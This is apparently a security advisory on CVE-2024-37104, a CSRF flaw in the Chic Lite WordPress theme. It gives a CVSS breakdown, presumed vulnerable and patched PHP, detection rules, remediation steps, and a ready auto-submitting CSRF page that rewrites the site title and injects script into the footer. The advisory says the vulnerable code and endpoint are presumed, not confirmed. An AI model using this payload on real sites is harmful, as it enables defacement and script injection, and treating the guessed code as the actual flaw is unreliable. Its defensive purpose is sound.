CVE-2024-37104

Executive Summary

CVE-2024-37104 is a Cross-Site Request Forgery (CSRF) vulnerability identified in the Chic Lite WordPress theme developed by Rarathemes. This vulnerability affects all versions up to and including 1.1.3. The flaw allows an attacker to trick an authenticated administrator into performing unintended actions, such as modifying theme settings or injecting malicious content, without their consent. Given that this is a WordPress ecosystem issue, the attack surface is significant due to the widespread use of the theme. The CVSS score is 4.3 (Medium), and no public exploit code or patch is currently available.

Supply Chain & Package Security

This vulnerability is specific to the WordPress theme ecosystem. The Chic Lite theme is distributed via the official WordPress theme repository and third-party marketplaces. Users are advised to monitor the vendor’s update channel for a patched version. No NPM, PyPI, Go, or Ruby packages are involved.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
• Base Score: 4.3 (Medium)
• Attack Vector (AV): Network – The attack can be launched remotely.
• Attack Complexity (AC): Low – No special conditions required.
• Privileges Required (PR): None – The attacker does not need authentication.
• User Interaction (UI): Required – The victim must click a crafted link or visit a malicious page.
• Scope (S): Unchanged – The vulnerable component remains the same.
• Confidentiality (C): None – No data exposure.
• Integrity (I): Low – Attacker can modify settings or inject content.
• Availability (A): None – No denial of service.

Threat Level: Medium. The requirement for user interaction reduces the immediate risk, but the lack of a patch and the potential for chaining with other vulnerabilities (e.g., stored XSS) elevates the concern.

Deep Dive & Mechanics

The vulnerability resides in the CSRF protection mechanisms of the Chic Lite theme. WordPress themes typically implement nonces (number used once) to validate requests. In Chic Lite versions <= 1.1.3, certain administrative actions (e.g., saving theme options, importing/exporting settings) lack proper nonce verification. This allows an attacker to craft a malicious HTML page that, when visited by an authenticated administrator, performs unauthorized actions on the victim’s WordPress site.

Attack Flow:

1. Attacker identifies a target site running Chic Lite <= 1.1.3.
2. Attacker crafts a CSRF exploit (e.g., a hidden form or image tag) that targets a sensitive endpoint (e.g., /wp-admin/admin-post.php?action=chic_lite_save_settings).
3. Attacker lures the authenticated admin to visit the malicious page (e.g., via phishing email or social engineering).
4. The admin’s browser sends the forged request with their session cookies, executing the action without their knowledge.

Impact: An attacker could modify theme settings (e.g., change site title, inject malicious JavaScript, alter layout), leading to defacement, phishing, or further compromise.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is presumed to be in the theme’s admin functions. A typical vulnerable pattern is:

// Vulnerable: No nonce check
function chic_lite_save_settings() {
    update_option('chic_lite_settings', $_POST['settings']);
    wp_redirect(admin_url('admin.php?page=chic-lite'));
}
add_action('admin_post_chic_lite_save_settings', 'chic_lite_save_settings');

A patched version would include:

// Patched: Nonce verification added
function chic_lite_save_settings() {
    if (!isset($_POST['_wpnonce']) || !wp_verify_nonce($_POST['_wpnonce'], 'chic_lite_save_settings')) {
        wp_die('Security check failed.');
    }
    update_option('chic_lite_settings', $_POST['settings']);
    wp_redirect(admin_url('admin.php?page=chic-lite'));
}
add_action('admin_post_chic_lite_save_settings', 'chic_lite_save_settings');

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target WordPress site with Chic Lite <= 1.1.3.
• Authenticated admin session (victim must be logged in).

Exploit HTML (CSRF):

<html>
<body>
<h1>Click this link to win a prize!</h1>
<form id="csrf" action="https://target-site.com/wp-admin/admin-post.php" method="POST">
    <input type="hidden" name="action" value="chic_lite_save_settings">
    <input type="hidden" name="settings[site_title]" value="Hacked by CSRF">
    <input type="hidden" name="settings[footer_text]" value="<script>alert('XSS')</script>">
</form>
<script>
    document.getElementById('csrf').submit();
</script>
</body>
</html>

Lab Setup:

1. Install WordPress locally (e.g., using XAMPP or Docker).
2. Install Chic Lite theme version 1.1.3.
3. Log in as admin.
4. Host the exploit HTML on a separate server or local file.
5. Open the exploit page in the same browser (same session) to trigger the CSRF.

Blue Team (Detection & Prevention)

Detection:

• Monitor for unexpected changes to theme settings (e.g., site title, footer).
• Review server logs for POST requests to /wp-admin/admin-post.php with action=chic_lite_* parameters from unusual referrers.
• Use Web Application Firewall (WAF) rules to block requests missing a valid nonce.

Prevention:

• Apply the principle of least privilege: restrict admin access.
• Use browser CSRF protection (e.g., SameSite cookies).
• Implement additional CSRF tokens for sensitive actions.

Indicators of Compromise (IOCs)

• Network:
  • POST requests to /wp-admin/admin-post.php with action=chic_lite_* parameters.
  • Referrer header pointing to an external domain.
• Host:
  • Unexpected changes in wp_options table (e.g., chic_lite_settings).
  • Presence of malicious JavaScript in theme settings.
• File:
  • Modified theme files (e.g., functions.php) if the attacker escalates.

Detection Engineering

YARA Rule

rule CVE_2024_37104_CSRF_Chic_Lite {
    meta:
        description = "Detects CSRF exploit attempts against Chic Lite theme"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-37104"
    strings:
        $csrf_action = "action=chic_lite_save_settings" nocase
        $csrf_action2 = "action=chic_lite_import_settings" nocase
        $csrf_action3 = "action=chic_lite_export_settings" nocase
    condition:
        any of ($csrf_action*)
}

Sigma Rule

title: CVE-2024-37104 CSRF Exploit Against Chic Lite Theme
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects HTTP POST requests targeting Chic Lite admin actions without a valid nonce
author: Valters IT
date: 2024-10-27
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'action=chic_lite_'
    condition: selection
falsepositives:
    - Legitimate admin actions (rare)
level: medium

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"CVE-2024-37104 CSRF Exploit Against Chic Lite Theme"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-post.php"; http_uri; content:"action=chic_lite_"; http_uri; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the Chic Lite theme until a patch is released. Switch to a different theme.
2. Implement a Web Application Firewall (WAF) rule to block requests to /wp-admin/admin-post.php with action=chic_lite_* unless a valid nonce is present.
3. Educate administrators about phishing attacks that could trigger CSRF.

Long-Term Fix:

• The vendor (Rarathemes) must release a patched version (>= 1.1.4) that includes proper nonce verification for all admin actions.
• Users should update the theme as soon as the patch is available.

Workaround:

• Add custom code to the child theme’s functions.php to enforce nonce checks:

add_action('admin_post_chic_lite_save_settings', function() {
    if (!isset($_POST['_wpnonce']) || !wp_verify_nonce($_POST['_wpnonce'], 'chic_lite_save_settings')) {
        wp_die('CSRF detected.');
    }
}, 1);

Valters IT
Securing Digital Frontiers